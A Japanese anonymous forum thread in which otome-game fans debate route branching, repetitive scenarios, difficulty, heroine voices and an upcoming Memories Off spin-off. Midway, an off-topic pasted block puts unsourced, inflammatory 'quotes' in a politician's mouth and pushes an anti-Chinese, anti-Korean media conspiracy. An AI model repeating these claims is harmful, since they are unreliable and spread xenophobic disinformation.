こういう業界なんだから、少なからず作品に愛情持ってるスタッフはいるだろうし
選択肢の件については、今回の話の発端になった人の言いたかったのは多分
選択肢が30回あったら30回とも全部、正解選択肢を選ばないと
攻略不可能といった形態のノベルゲーだと思うんだよね。
遊び選択肢のないタイプっていうか。
正解以外の選択肢は選ぶ余地がないのなら、それが選択肢である意味はあるのか?
またそういう流れの中で、話に何も絡まないような無意味な選択肢ですら
不正解なら問答無用で攻略不可能といった仕組みなのであれば
正解選択肢を間違いなく選んでいけるだけのヒントを散りばめて
その選択に意味づけさせておくべきではないのか?
言いたかったのはそういう事なんだと思う。
だから他のタイプのノベルゲーについては今回特に話に挙げる必要はないような気もする。
つーか、それって乙女ゲーがどうこうじゃなくて
ノベルゲーのここが嫌っていう話しじゃね?
このスレやこの板で話してもしょうがないっつーか。
第一そういうゲーム乙女ゲーにあったっけ?具体的にはどれ?
>>127 >>126だけど、自分は知らないなあ…
ただ、選択肢についての話が広がりすぎてる割には
現状の選択肢の有り方を、議論したいほど本当に疑問に思ってる人って
話を振った人以外ではそういないように見えるから、
もしまだ敢えて選択肢について話を続けるのなら
話の始まりとなったタイプの選択肢制(遊び選択肢のないタイプ)についてだけ話す方が
分かり易いんじゃ、と思って。
個人的には、
>乙女ゲーがどうこうじゃなくてノベルゲーのここが嫌っていう話
これに同意w
結局選択肢について文句言ってたのって一人だけなんでしょ
無視していいんじゃないの?
>>127 それは思った。
乙女ゲーで存在しないしないのに、わざわざここで別ジャンルの作品名挙げて絡む理由ってないよな。
もう無視でいいとオモ。
シエスタなんかはかなりそんな感じだった気がするけど…
みなさん昨夜は盛り上がっていたようですな
不満がある人もいるらしいけど
この先乙女で神ゲーが出るとするならやっぱノベル形式じゃないかと自分は思うんだが
みんなはどうよ?
>>132 何をもって神ゲーとするかは定義に悩む所だが、乙女ゲメーカーの予算とか
技術力的にシステムの凝ったものを望むよりはADVかノベル系で
良シナリオを望む方が現実的かもしれないな
その良シナリオってのも抽象的だしある意味一番難しいかもしれんが
乙女で神ゲー、ね…まあ出ると仮定しよう
自分もやはりノベル形式で良シナリオがまだ望みがあると思う。
一般ですらシステムで評価できる神ゲーって多くないしね
皆が認めるくらいの乙女ゲーの良シナリオってどんなんだろうな。
個人的には
攻略キャラと親しくなる過程が話に絡めてうまく表現されている
っての大事なんだけど。
最近なら遙3のごくごく一部とDSGSかな
攻略キャラと親しくなる過程うんぬんとは違うし
ノベルでもないが
>>126 遊び選択肢を除いて本筋に関わる選択肢のみを取り出せば
結局正解選択肢を全部選ばないといけない
ってのは多いんじゃないの?
その回数が30回か4回かの違いなだけで
乙女ゲをゲームとしても楽しんでる自分的には
コルダの無印はかなり神ゲに近いんだが…
まぁ、神ゲと呼ばれるゲームは
シナリオがすっごい感動できる ものか
絵のみでなく、動きや世界観、システムに関してもビジュアル面が洗練されてる
という二つが多いかな、と思う。
下の方は+でその他が駄目駄目でないっていう注意書きが着くけど…
ネオロマはまずヘボいアニメを入れるのをヤメロ
GSのOPレベルのものを入れられるならいいが
ジャンル外まで名前が知れわたるほどのみっともないアニメは萎えにしかならん。
>シナリオがすっごい感動できる
安易に生き死にの話になったり生き別れたりで
ドラマチックに盛り上げよう感動させようショックを与えようってのが
みえみえのシナリオが多いのはいただけない。
自分は遙3これで駄目だった。むろん翡翠も。
生き分かれじゃなくて死にわかれのほうだスマソ
シナリオなんてないに等しいGS(PS2)初プレイで王子落として大泣きしたのは何故だったんだろう
とたまに思う
設定とシステムと演出が上手かったのかな
GSの感動っていうのは小説を読んだときの感動というよりは
中高生が体育祭やら卒業式で泣いてしまう類の感動なんだと思う
確かに安易に生き死にで感動させようとはしないでほしいな
あと殺す殺されるとかも安易に扱ってほしくない
徹底的にそれをテーマにして文章力あるライターさんが書いてくれるならまだいいけど、
とりあえず重いテーマもってきましたみたいなのだとなんだかなあ…としらける。
>>141 短い会話の集積だって大事なシナリオだぞ?
ダラダラ戦況や心情を語るのがシナリオじゃないんだぞw
ストーリーとシナリオも違うし。
遙か3なんかは状況が状況(合戦中)だから
生き死にの話になること自体は不自然には感じないんだけど、
キャラ攻略して周回を重ねているうちに
自分の気分の中では生死がだんだん軽くなってくるんだよなぁ。
何度も同じパターンを繰り返し読ませるタイプの物語に
生きる死ぬの話を絡ませるのは難しいなと思った。
>>145 全面的に同意
一つの物語を進めるRPGとかなら上手く嵌るんだけど
乙女ゲーみたいなタイプだと下手うてば金太郎飴な印象になりかねない
身近にある恋愛の起伏で魅せれる話の方が乙女ゲーには向いてると思う
むしろ男性よりは女性の方がそういうものに一喜一憂できる感性があるし
上手くいけば一種の強みになると思うんだけど…
単純に質問。
金太郎飴を回避するには個別のシナリオ充実させればいいだけの話だと思うんだが、
それをやるとルートに入った瞬間に他のキャラが攻略できなくなる。
早い段階から金太郎飴を回避するために個別シナリオを書く=早い段階で攻略キャラケテーイだと考えてるんだが、
・多少は金太郎飴でもいいから、攻略キャラをある程度自由に選択できたほうがいい
・金太郎飴は嫌だから初期段階から個別ルート希望
みんなはどっち派?
正直、自分は乙女ゲーにややこしいルート設定求めてないんで、ノベルゲーなら後者希望。
パラ上げで好感度変化してイベント発生や相手の反応、エンディングが変わるのが無難かと思ってる。
>>147 >・金太郎飴は嫌だから初期段階から個別ルート希望
こっちだな。
股掛けとかしないで、次は誰狙いでいくとか決めてかかるほうなので、
最初のほうから個別ルート入ってくれたほうが嬉しい。
ビタミンはルート分岐じゃなくて完全に最初から個別ルートで
ところどころでザッピングしてたのが個人的に良かったな
セーブ股がけで効率よくプレイする人が多いから
分岐が早いと不評だと思うよ
個人の意見を聞いてるんだから勝手に多いとか書かないで
自分の意見を書いたらどうかと思うんだが。
さげわすれごめん
金太郎飴の場合なら早めの分岐は不評だろうけどね
それぞれのストーリーがあるならそんな不満は出ないでしょ
ラブレボは途中でルートが確定するんだけど
それまでが長くてシミュ部分をちゃんとしないと
ルートに入った後でもイベントが進まなくなるんだ
さらに選択肢で正しい方を選ばないといけなかったり
難易度というかED見るのが時間かかって大変だった
「金太郎飴で早めの分岐」って表現矛盾してないか?
いやよくわかんないけど
初期にルート確定して多少なりとも進行に違いが出る=個別シナリオ≠金太郎飴
だよね…?
それぞれのキャラで同じようなシチュエーションやエピソードの使い回しをして
結果、全部似たような話になっている=金太郎飴 ではないか?
早期ルート確定のゲームでそれをやられると、
長いくせに同じような話を何度も見なきゃならないので苦痛、と。
個別ルート入るまでの一本道共通ルート部分は金太郎飴とは言わない気が。
個別ルートが短くても金太郎飴と言われるよ
>>157 そうなの?定義がわからなくなった…orz
やることも言うこともほとんど変わらないのが金太郎飴では?その名の通り
まあ、ようは金太郎飴ってやった人の印象の問題だから
ルート分岐が早くてもキャラクターごとの話や展開が
大して変わらない場合は金太郎な印象になるし
個別ルートが短かったら、分岐させるために何度もやってる
共通ルート期間の印象ばっかになって金太郎と感じる
人によって感じ方も若干違うだろうし
共通ルートが長めでもスキップなんかの機能を充実させて
個別ルートで物語や重点となる面白さが全く変われば
金太郎飴って評価にまったくならないものもあるしね
福田公式発言
-------------------
・総理になったらまずやりたいことは? 「中韓に土下座して謝りたい」
・今年の目標は? 「(中韓からの)留学生を100万人まで増やす」
(ちなみに日本の大学生は250万人。つまりキャンパスで3人見れば1人が中国人か韓国人という状態に・・・。
すべて日本の税金で面倒を見、月に一人あたり10万以上を無料であげて育てる。何考えてるかもう意味不明。)
・年金制度の抜本改革をめぐり 「年金システムが崩壊したらどうなるか、若い人が一番心配することだ。戦争でも
するなら話は簡単だ。ゼロからスタートするということだ」
(↑まじでこのとおりに言った。)
・少子高齢化に関して
「これからはあなたたち若い人が一生懸命考えてください。 私の将来のことじゃないんだから」
・拉致問題の被害者家族を「ご遺族」「拉致被害者家族は黙りなさい」
-----------------------------------------
メディアが福田を応援するわけ
福田は中国韓国にやさしいwのでメディアは叩かずに総理にさせる。
そして福田が作る内閣でぼろがたくさん出るはずなので、
国民が自民党はもうだれでもだめなんじゃないかと見放す時、一気に叩いて民主へ政権を移す計画。
かくして日本は中韓にしゃぶりつくされめちゃくちゃに吸い取られる。
安部は以下のようなメディア改革をやろうとしてメディアに叩かれて終わった。
・ 放送法改正、電波使用料値上げ
・ 新聞の再販制度特殊指定解除
・ NHK解体
・ スポンサーのサラ金&パチンコ=朝鮮総連の解体
福田はこれを絶対にしない真反対の立場をとっているのでメディアは叩かないのだ。
人権擁護法案
外国人参政権法案
分岐を早くしても金太郎飴になる可能性はあるという事か…
攻略と関係なくストーリーの大筋があれば、
分岐が早くてもその先にやることは概ね同じになるだろうしね……
ああそうか。
学園ものならイベント一律でパターンが存在するだろうし、
事件発生して解決する展開でも大筋は似たり寄ったりになって結果的に金太郎飴になりかねないのか…
逆に金太郎飴なら、それを逆手に取って活かして
イヅナみたいにきっちりやってくれればむしろ面白いんだけどね。
ゲーム中の期間の出来事を、攻略キャラのルート毎に
少しずつ違った視点で見ていく事で事件の全体像うや真相が見えてくるといった形式。
ただこれだと完全に周回ゲーになるし、
また周回しないと本当には楽しめないゲームになるけど。
選択肢そのものがゲーム性に結びつくようなゲームがあったら面白いだろうね
引き合いに出して申し訳ないが、たとえば遥か3の逆鱗が何回か使うと壊れるとかいう制限をつけるとか
選択肢そのものを出現させるかどうかを選ばせて、前に選んだ選択肢でないものが初めて出せる
こうするだけでも、だいぶ緊張感が増す気がするんだよね
>>166 そういったアイテムは、回数制限するより
物語の中でただ便利なだけの物じゃないエピソード入れたらどうかな
遥か3は、その辺りかなり甘いながらも一応試みていたとは思う
逆鱗壊れるルートあったし
もう1枚入手しようとしてもできないようにしてた
どのタイミングで選択肢を使うかが重要なワケか
一発逆転アイテムを使うタイミングを考えるみたいに。
それは面白そうなんで普通にやってみたい。
イケメンだらけって設定なのに滅多にイケメンがいない件について
いけてるいけてないは個人の主観なので主人公がイケメンと思えばイケメンなのです
見た目はともかくクリアしてみて
こいつ薄っぺらい奴だったな〜と思うことは多いな
>>132-134 遅レスだけど、乙女ゲーに関してはシナリオよりゲーム性の方がまだ望みが持てると思う。
他ジャンルで積んだノウハウとそれなりの資金がある、コナミやコーエー、カプコンなどの大手が入っているから。
個人的にはGSやコルダなんかは、神ゲーに手が届きかけてると思う。
逆に男性向けエロゲーのように、金はなくとも良いものであればネットで賞賛されるといった
シナリオライターに夢ややる気を持たせる土壌がほとんどないため、
シナリオの発展についてはなかなか難しいんじゃないか。いつかはしていくだろうけど。
乙女ゲーは男性向けのように、評価のあるレビューサイトがあるわけでもなく、
2CH含め泣きは嫌、少年漫画的展開は苦手、暴力・エロはやめてなど個人的な好みでの語りしかまだできていないように思う。
気に入ったらとことん尽くすという良いところもあるんだけど、
とりあえずシナリオライターについてはそれがいかせてない。
でも、GSは続編では難易度を下げてきているし
コルダはゲーム性より糖度アップの方向性に向かった事から
ゲーム性で評価する人もあまり居ない気がするんだよね
個人的には神シナリオの方を期待したくもあるので
どこでもいいのでシナリオ特化の作品を出して欲しいと思ってたりする
携帯連動商法が嫌だー。
ゲームは全体的に面白くて満足しても、
携帯サイトに加入していないと全部のおまけが見られない、
とかだと何か一気に覚めるというか…。
その携帯サイトが全機種対応じゃない場合、消費者にはどうしろと。
こういうのって男性向けでもあるのかな
一般ゲーではあまり見たことがないんだけど
コルダの糖度アップ戦略はキャラ据え置きと派生だからともいえるんじゃ?
あたったみたいでみんな床ローリングして大喜びしてるね。
>>173 そうなんだよなー
だから私はGS2は退屈すぎるし、コルダはついていけなくなっちゃった…
乙女ゲーとしては正しいのかもしれないけど、
とても残念
>あたったみたいでみんな床ローリングして大喜びしてるね。
結局乙女ゲーユーザーってそんなもんなのね
とこちらも思うし企業も思うわけで……
コルダの場合は元々が糖度低めだったからこその反応とも言える気がする
糖度低めでゲームを出して、アペンドなりで糖度アップという方向で進めてもらえたら
どちらの人間も楽しめるんだけど、初動を考えると難しいんだろうな
糖度低めで作った上に、ファンディスクで難易度を上げてきた(低難易度選択不可)
某プリンセスシミュレーションの漢気を見習って頂きたいw
でもコルダの1は恋愛という面ではかなり薄味だった気がする。
(通過するイベントにもよるけれど)
続編で糖度が上がるのは不自然な流れではないのかもしれない。
アンコールは未プレイだけど、2では
「ゲーム性を犠牲にしてまで糖度を上げた」とは感じなかった。
確かに難易度は下がったとは思うが。
GS2は股がけ前提っぽいエンディングの作りだから
それがしやすいような難易度にするのもありかもしれない。
ただ、一途プレイだと簡単すぎる気もするから
このあたりはさじ加減が難しいってことかな。
逆に難易度をあげてきたDS版GSは、途中で脱落した人いたみたいね。
「GS2からやった私には難しすぎますっ><」 つーレビュー見かけるわ
だがDS版の難易度が丁度いいと思う。2が糞すぎただけ。
一周のプレイ時間さえ短ければ多少難易度が高くても次こそは!と思って
頑張れるだろうけど3年間学生生活送って目当てのEDに辿り着けなかったら
難易度下げるか期間短くしろって思うかもしれん……まあ自分のことだが
初めから最後まで出私は橙10時間くらいかな
つーても途中セーブ残さないの?
慣れてない人はそういうのも気づかないのかもな
アンコールは砂吐くほど糖度あがってるよ
ベタベタ甘々になってしまった。
結局乙女ゲーマーは一般ゲーマーと違って難易度ややりこみ要素を求める人は少なく
それよりも手軽にサクっと目当ての攻略が終了できて、
股がけもしやすく(または周回が短く済む)
シナリオがどうのより綺麗な絵の世界で男と恋愛できて
いい声の声優が甘いセリフを囁いてくれるものを求めるんだろうね。
そして一本が長く盛り沢山であるより、サクッと終わってくれたほうが
続きは小分けにしてファンディスクで出してくれればまた楽しめる、と。
はじめからファンディスクとか続編見越してるようなのは好きじゃないな
本編で全てやりつくしてそれでも反響大きくて製作決定!ならいいけど
容量が足りないわけじゃないだろうにフルボイスじゃないソフトの
ファンディスクとかあざとくて萎える
ソフトは適当で関連商品とかイベントで稼ぐってやり方が悲しい。
しょせん企業にとって乙女ゲーってそんなもんだと思うと。
フルボイスじゃないソフトがファンディスクやイベントで稼ぐ……
どこのゲームだか簡単に想像がつく辺りがなんとも
GSの攻略はそれ程難しくないが3年間という期間が自分には長すぎた
根気がないので4人くらい落とした所で力尽きてしまったが
これはいい悪いじゃなく向き不向きの問題か
自分は同じことやってるのにGSよりGS2のほうが長く感じたのは
難易度のせいかな?ときめくのが早いと後が長すぎる。
まあシミュレーションは時間かかるし
ふいうちのイベントがあるでもなし、長いよ。
育成なら最低15年分はあるから向いてないとできない。
>>184 同じくどのメーカーか簡単に想像付いたw
でも何年も前に出たソフトの関連商品が未だに発売されるのは、ちょっとうらやましいな(質はおいといて)
>>186 GS→残り1年か…あとどれくらいパラあげられるかな。もうちょっとデートしてもいっかな…
GS2→残り1年か…………まだ1年あんのか!なげー!!もう2順おわっちゃってんですけど!
GS2は慣れてる人ならED3狙いでも2年目終了時点でやることなくなってるからな。
単純に1周に掛かってる時間は同じでも、やることなくなると長く感じる。
GSDSも又掛け前提のEDはあったけど、2よりは難易度高めだったんで
少なくとも親友ED狙いなら最後の1年丸ごと暇ってことは無かったはず。
シミュ系の難易度設定は難しいな。
慣れてないプレイヤーも多いだろうから安易に高くは出来ないけど、
ゲーム慣れしている人は簡単すぎると次の周回への意欲を削がれる。
その点は、難易度選べるコルダ2は良かった気がするけど、
やっぱり「やさしい」で遊びたい人にとっては
他の難易度じゃないと見られないイベントがあるのもいい気はしないだろうな…
だからって全部一緒だったら、せっかく難易度高めでクリアしても
やさしいと全部一緒でなんのご褒美もなしかよ……ってならない?
難易度選べるのってあんま意味ない気する。
単に周回増やさして、短さを誤魔化す効果でしかない。
よく、フルコンプでオマケがない、ってクレーム見るけど、正直逆ハーとか嫌いなんだよね……
同じ乙女ゲーム好き同士なのに、まったくわかりあえないと思うことがある
あれと名前変更は本当にいらないと思うんだ……
フルコンプのオマケは欲しいな
フルコンプしないからどんなものかわかんないけどw
なにかこう、目標があるのはいいと思う
氷室のショルダーバッグとか若王子の枕投げみたいに、
難易度高いけどEDに直接関係ないイベントをもっと増やして欲しい
GSに限らず、やりこみ要素をもっと充実させて欲しいな
難易度は自己満足でいいと思うんだけどな
何かしら特典がないと不公平って発想は間違ってると思う
名前変更はあってもいいと思うけど自分は変えないし
デフォ名は音声付で言ってもらいたい。不自然だから
逆ハーでなくとも単に全員集合スチルとかあるよ>フルコンプおまけ
本編で逆ハーはいらないけどドラマCDとかならいいんじゃないかと思う
名前変更は必要かと。
主人公=登場するキャラのうちの1人で遊ぶタイプと、
主人公=自分で遊ぶタイプが居るのは事実なんだし。
前者はデフォ名でプレイすればいいと思うんだが、
それでは何か納得がいかないんだろうか?
自分では名前変換ほとんど使わないけど
デフォ名が自分の本名とか家族の名前と同じだから変えたいってケースも見掛けるし、
そもそも名前変換して遊ぶこと自体は別に良いと思うけどなー。
ただ、デフォ名が無いのは困る。
おまけで逆ハーエピソードってのは私は逆に見たこと無いんだが
フルコンプ特典で全員集合スチルくらいはあったらモチベにつながる。
自分はデフォ名派だけど名前変更は別にあってもいい。
ただ、デフォ名プレイの場合は名前呼んで欲しいとは思う。
>>191 絡むわけじゃないけれど、名前変更がいらない理由を教えてほしい。
自分も名前変更は一切しないし、デフォ名がないと悩む派だけど、
>>196や
>>197みたいな意見を持つ人は当然いると思っていたから
驚いたんだ。
あと、フルコンプのおまけ=逆ハーなの?
>198の一番下は欲しいなー。でもあまりつけてるゲームってないよね?
名前変換があったら買わない層はいないけど
名前変換がなかったら買わない層がいるんだから、
今の乙女ゲーから名前変換なくすのはほぼ無理だろう。
別にあってもなくても邪魔とは思わないし。
>>200 デフォ名だと名前呼んでくれるの少ないよね。
自分が知ってる限りじゃサモンナイトくらいだ…
デフォ名だと音声つくやつ、最近は割と増えてきたかも。
GSシリーズは除くとして、
>>201も挙げてるサモンナイトは3以降、
コルダ2とアンコール、あとマメプリとかD3系でいくつかあった。
前、どこかのスレで一通り挙げてたと思うんだけどログがないや。
舞一夜と翡翠の雫(ごく一部のキャラのみ)にもあった。
自分はいつもデフォ名しか使わないから、デフォ名の場合音声付で呼んで欲しいな。
かといって名前変更はいらないとは思わないけど。
両方あれば双方から文句は出ないと思うんだけど、なんでやらないメーカーがあるんだろう。難しいの?
あと個人的には主人公にもボイスつけて欲しいんだけどな。ON/OFFで切替ができても無理なんだろうな。
主人公は他のキャラの何倍も喋るから大変らしいよ
>>205 それ理由にならないよ
BLゲームだと主人公喋ってるし
容量や予算の都合でどこか削らなきゃいけない時に主人公の声っていうのは
わからんでもないけど。感情移入の邪魔になるって人も多そう。
というか、自分はあった方が嬉しいからあんまり考えなかったんだけど、
もしかして主人公の声無い方が良い派の人はかなり多いのか?
結局、ヒロイン=自分ってユーザーが多いって事なんじゃないのかな。
209 :
208:2007/09/25(火) 21:16:08 ID:???
リロミスorz
>>207 オンオフ有りだったらいいんじゃないか?
自分はあったほうが嬉しいな
女性声優に予算さくくらいなら
その分男性声優に金かけた方が……
って辺りじゃないかな
是非は置いておいて、男性声優のキャストはソフト購入を明らかに左右するけど、
ヒロインの声有り・無しはそこまで重要なファクターにはなってないのが現状だろうしねえ。。。
アプリコットの主人公の声は好き嫌いが別れてたな。
主人公の声が嫌いって人が結構いて、主人公に声イラネとか言われてた。
主人公の声はいらない派
そんなもの入れる容量あるのなら
攻略キャラのイベントでも増やしてほしいと思ってしまう
主人公が声付き+名前をデフォルトにするとちゃんと音声付きで呼んでくれる乙女ゲーってほんの少ししかないよね…
デフォ名で呼ばないなら、会話の途中に主人公の名前いれないでほしい。
確か緋色がそうだったんだけど、名前の所だけ音声抜けてると違和感がある。
あるあるw
デフォ名ボイス呼びがないならせめて名前の部分を
字面は名前のままでもいいから、喋りだけ「君」「お前」「あなた」とかに
置き換えるくらいは最低限してほしいよね。
>>206 BLゲームで主人公に音声があるのは当然。
だって、主人公も大事な萌えキャラの一人なんだもの。
BLは乙女と違って客観型だし、ドラマCDやらを聴いてる層もユーザーに含まれてる。(てゆか大半)
いくら金がかかろうが、音声なきゃ売れませんよ。
乙女に声つきがないのは、声がついたとしても、それが購買に結びつくか?ってとこじゃないかな。
現状なくても売れてるし→ネオロマ
折角、音声つけてもイラネとか言われたらね。
でも、デフォ名くらいは喋ってほしいよな。
今更ってほどでもない
確かに
主人公の声か。
販売促進にはつながらないと思うけど、男性向けならあったらいいのにと感じる時があるから
シナリオがしっかりしてきたら、物によっては導入を考えてほしいと思う。
演出の一部として。
特にADVならほしいと思うけど、ADVでさえシステムが完備されてない現状で
主人公に声あってもあまり喜ばれはしないだろうね。
主人公の声か。個別でオフ機能があれば、あってもなくてもどっちでもいい
声優の声だと大抵キーが高いから、聞きたくないんだ
>>223 だよね。オンオフ必要
あとは個性の強さ?無個性系だったらいらないけど、あまりに強烈だと声があったほうが好き。
私はADVだと序盤は流しっぱで他作業なんてこともあるからなぁ…
音声再生のタイムラグにイライラしてしまう。
オフしてんのにたまに喋ったりするやつあるよな
主人公がかわいくないのもあんまり好きじゃない攻略対象も含めて私服がダサかったりするのが多いと思う
ファンタジーならまだダサさも含めて、ああそういう世界観なんだと
無理やりながら納得できるんだが現代ものでダサいと妙に気になる
雑誌見て研究しましたって人のデザインが微妙だったりする辺り、一応
オシャレにしようとしてはいるけどその「勉強」すら的外れなのかもしれない
いやあ、にわか仕込みじゃファッションのセンスって身に付かないでしょ・・・。
一般ゲーならまだしも、女性向けのゲームならスタイリストのアドバイス受けるのもアリだと思う。
そこまでしなくても、せめてショップ店員とかちょっとオシャレに気を使ってる人とかに相談するとか。
でもそれをゲームの売り文句に使うのはNGだ。
>>227 GSがそんな感じだったような……
せっかく服が沢山あるのに大概ダサかったけれども
服の問題はな……
ゲームに限らずマンガとかもそうだけど
流行おっかけると数年後目も当てられなくなるから
時代を問わず受け入れられる普遍的なセンスみたいなもんが必要かなと思う
その辺異世界系は楽なのかもしれんが……
うわさの翠くん!!は比較的かわいい服だったよ
3頭身で服をコーディネートして、その後ちゃんと着た姿も見れたし
まあゲームとしては問題外だけど・・・
メモオフの乙女ゲーが出るっぽいけど…
これはいよいよ「本格的な」ノベルゲーを期待しても良いのかな?
想君のようなメンヘル仕様に期待
>>231 某汗拭きゲーを考えると、乙女ゲーを勘違いしないで作ってくれるといいなと
正直ギャルゲの感覚で作られてもな。
まずはキャラがどうなってくるかだろ……過剰な期待はしない。
あすこはメモオフの名前もときメモ意識してつけてると思っていたが
まさか「ガールズサイド」をそのまま使ってくるとは驚き半分呆れ半分。
そりゃ商標じゃないだろうけど普通避けるw
Yourはライターが女性だし、大丈夫でないか。
汗拭きは……アレはメーカーがどうかしてるとしか思えない
特別に特殊なケースなんだよ…多分…
ガールズサイド=GSだしな
女性向けとは分かるけど、捻りがないし印象が悪い
っていうかガールズサイドって正式にタイトルに入るの?
兄友のページには「Your −Memories Off−」としかないんだけど。
サブタイトルに入ってるんじゃないか?
だからメモオフの続編を願っていたユーザーの落胆は大きい。
ギャルゲ板での一報は
『Your 〜メモリーズオフ ガールズサイド〜(仮)』
5gk./2008年1月31日/6720円/限定版:9870円
となってて=乙女ゲだってことを表していたが
乙女ゲだと充分告知できたら正式名称では外してくるかもな
コンマイ怖いしw
しかしGSの層をあてこんでいるのは確かだねー
声優も緑川に置鮎に鈴村って完全にGSとかぶせてる。
子安あたりもオファーしてそうだな
しかし母体はKIDなら水の旋律3作ればいいのに、なぜメモオフ?
男ユーザーにはともかく女性にはときメモや東鳩みたいな知名度はないぞ
水の旋律じゃ頭打ちだし、コンマイがやる気なしでGSファンの
不満がたまってるからその隙をついて根こそぎGSファンを移動
させるつもりなんじゃね?
そう上手くいくかは知らんけど…
タイトルは誤情報だと思う。普通は同じタイトルはつけないし。
ただここはメモオフの時もときメモを意識してつけてるのが
丸分かりだったから少し不安だけど。
ギャルゲメーカー参入は嬉しいんで内容は期待してる。
>タイトルは誤情報だと思う。
それはない。
「ガールズサイド」とついてなかったら普通にメモオフ新作だと思われるから
仮タイトルを流布して女性向けだってことをまず広めてから
正式タイトルつけてくるんじゃない?
>>234 あのシリーズの絵って男には辛うじて受けても女にはウケそうにないよね
ちゃんと女向けの絵師を使うのかな?
絵師は完全女性向けの絵師もってきたみたいだよ
そのへん用意周到だな……
期待したい気持ちもあるけど他のゲームのタイトルを
仮とは言えパクル時点で苗
ギャルゲ大手がこれから参入してくる流れになったら大歓迎。
ユーザーも選択の余地が増えるし、
くだらんストーリーに金太郎飴のシナリオ、絵師と声優頼みで
適当なものしか作れないメーカーはどんどん淘汰されていく。
ギャルゲはギャルゲ、乙女ゲは乙女ゲだと思うから
有名でも当分様子見
いいものが出来ればそれに越したことはない
>>244 243だけど、そんな気がしてきたよ。
ガールズサイドって言えばギャルゲ好きも知ってる人が
多いだろうし、見ても分かるもんね。成程…。
GBAとPSPで乙女ゲーって出てますか?
つ 遙か・遙か2
誰か画像うpしてくれんかのう>メモオフGS
スレ違いの上にクレクレか…
議論と雑談の違いすら分からない人たちばっかだから
乙女ゲがgdgdなのもしゃーない
タイトルだけ受け継いだだけで、内容は既存の乙女ゲと変わらん
ってパターンじゃ何も変わらないし
あのまんまのテイストで、それがユーザーから大バッシングされたら
ますます保守化が強まるだけだし…
動向が気になるタイトルではあるよ
少なくともクレクレしたり想像で語ったりするスレではないね
乙女ゲ業界これからどうなるかって想像をずっとしてきたスレだから
今後の新作の動きを話すのになんの不都合もないわけだが。
クレクレ厨は徹底無視すれ。
ギャルゲ畑で培われたシステムとシナリオありきのゲームの参戦を
望む声はこのスレで多かったけれど
実際に出てくると不安の方が大きいな
メモオフってあたりが微妙なんじゃないないかな
これが鍵や型月、同じKIDでもインフィニティ系なら
反応はもっとよかったからもしれないけど
まあKIDはもう水の旋律出してるからねえ。
メモオフってそんなに女性受けがいいとは思えないからなあ
でもシステムとかある程度の水準を期待できそうな辺りは嬉しいな
いくら良ゲーでもシステムがショボイと辛い
男女5人で思ったけど
主人公の恋愛問題に関わる同性キャラで、そのキャラ自体の性格じゃなく
扱いというか存在そのものが否定的じゃなかった例ってあった?
イラネと、片思いで終わって可哀想派が両方出て
いつも不評に終わってる気がするんだけど
ギャルゲ板メモオフについてのディ−プな内容話はさすがに板違いなんで
自重してはくれまいか
このスレではまだ誰も
本家の突っ込んだ内容についてなんて話してないと思うけど
263は突っ込んでないの?
意味わかんないんですけど…それとも乙女ゲーのどれかの話なの?
まだ出てもいないゲーム、しかも本家はギャルゲなら
参入してきた事へのいろいろはスレ的にアリでも
それ以上は個別スレでも立ててやるべきですね。
分かりにくくてごめん
メモオフ乙女ゲ版の設定から
主人公以外の女キャラも恋愛問題に関わりそうだな
→そういや既存乙女ゲでそれやって成功した試しってあったっけ?
と疑問に思ったんだけど
最初の一文はむしろいらなかった
アンジェはある意味そうじゃない?<主人公以外の女キャラが
シナリオ重視のADVでは皆無っぽいね
つまり恋愛におけるライバルキャラが
大多数のユーザーに好意的に受け入れられてた作品があるかという事か。
うん、自分も、アンジェしか心当たりないな。
それも特殊なケースだよね、元主人公な訳だから。
女キャラの恋愛入れるなら、攻略対象外キャラとの完全脇カプとかでないと厳しいよね。
いっそ主人公に惚れる百合系キャラというのもありかもしれんけど、
駄目な人は徹底的に駄目だろうし。
エチュードのこんがらがった恋愛事情(六角関係くらい?)は結構いいと思ったけど、
主人公が片想い側に回っちゃうパターンもあるから駄目な人もいるだろうな。
ライバルがいるのはいけどネチネチしたり扱い酷かったりは嫌だな
男を奪われるバッドEDがあってもいいし、真っ向からぶつかりたい
アンジェは目当てのキャラがライバルとデートしててもこっちに
振り向かせてやる!!と逆にモチベーション上げられたから良かった
ライバルキャラということならGSの瑞希と
GS2の竜子以外の3人はユーザー人気があるようだ
>>271 元主人公?
ロザリアは別に初めからプレイヤーキャラだったわけじゃないよ
メモオフならシナリオは期待できるね
乙女ゲ初のノベルゲーかね
メモオフが当たったら触発されてノベルゲーが増えたりするだろうか
もしそうなったらライターに小説家を起用するパターンが増えるかもしれないな
乙女ゲで一番の不安要素はシナリオなので、その辺りがどう影響するか
それとも全然しないのか実に興味がある
小説とゲームテキストってのは微妙に違うものだから、
小説家を連れてくれば安泰っていうわけでもないしなぁ
シナリオライターとして引っ張ってくれば良作ができそうな気もするけど、
そうなると下につくテキストライター陣の腕前次第になるし
ストーリーで魅せるゲーム作りというのも難しそうだ
>>276 初のノベルゲーの意味が分からない
画面全体にテキストが表示される意味でのノベルゲーなら、
本家自体がウィンドウにテキスト表示されるタイプで、ノベルゲーに当たらないし
選択肢オンリーで進行するなら、沢山出てるよ
>>278 小説のように、いちいちテキストで説明するゲームやってそれを実感した。
文章でしか全てを表現しようがない小説と
視覚や聴覚での表現も出来るゲームじゃ、
文章に求められる情報量が違うし、小説そのままのノリでやられると
逆に多重表現みたいに感じて鬱陶しく思う。
サウンドノベルならまた違うかもしれないけど、このジャンルでそれはないだろうしな…
>>272 私もあれは上手くやった数少ない例だと思うけど
プレイ人口数少なすぎるのと、男女兼用ゲってことなせいか
参考例にならないんだよね…
乙女ゲオンリーで同じことをしたソフトの反応をぜひ見てみたいんだけど。
>>274 それは単なるキャラ人気ってやつじゃない?
>>274 ライバルとして出てきて嬉しいって意味じゃないと思うよ
実際、うざくてかなわない
GS2の眼鏡(名前忘れた)なんかは、生徒会に入ると嫌でもガチになるしな
283 :
名無しって呼んでいいか?:2007/09/28(金) 16:17:10 ID:gGP1cRuX
>>274 GS2の4人はそれなりに人気あると思う。
>>280 主役の心理状態を見せずに話を展開させられるなら、自分は多少の多重表現は仕方ないかなと思ってる。
メモオフにしても天下の鍵にしても、非常にもっさりした心理描写で強引にプレイヤーを引き込んでる感が強いし。
そもそも主役の行動を選択できるのが、小説より優れた最大のメリットと言っても過言ではない
ノベルゲームというジャンルで、選択肢の幅を狭めるような上記のようなストーリーの見せ方は、うまいとは思えないんだよなぁ。
かまいたちクラスの完成度なら、主役のヘビーな心理描写も気にならなくなってくるんだけど、あれと比べるのは酷だしな……。
